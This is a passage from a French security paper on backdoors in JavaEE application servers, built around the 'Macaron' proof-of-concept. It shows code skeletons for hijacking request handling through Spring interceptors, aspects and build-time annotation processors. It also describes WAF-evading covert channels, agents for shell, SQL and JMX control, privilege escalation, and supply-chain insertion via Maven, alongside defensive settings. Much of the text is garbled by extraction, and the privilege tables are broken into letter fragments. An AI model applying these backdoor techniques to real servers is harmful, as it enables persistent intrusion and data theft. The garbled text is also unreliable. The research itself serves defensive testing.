Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

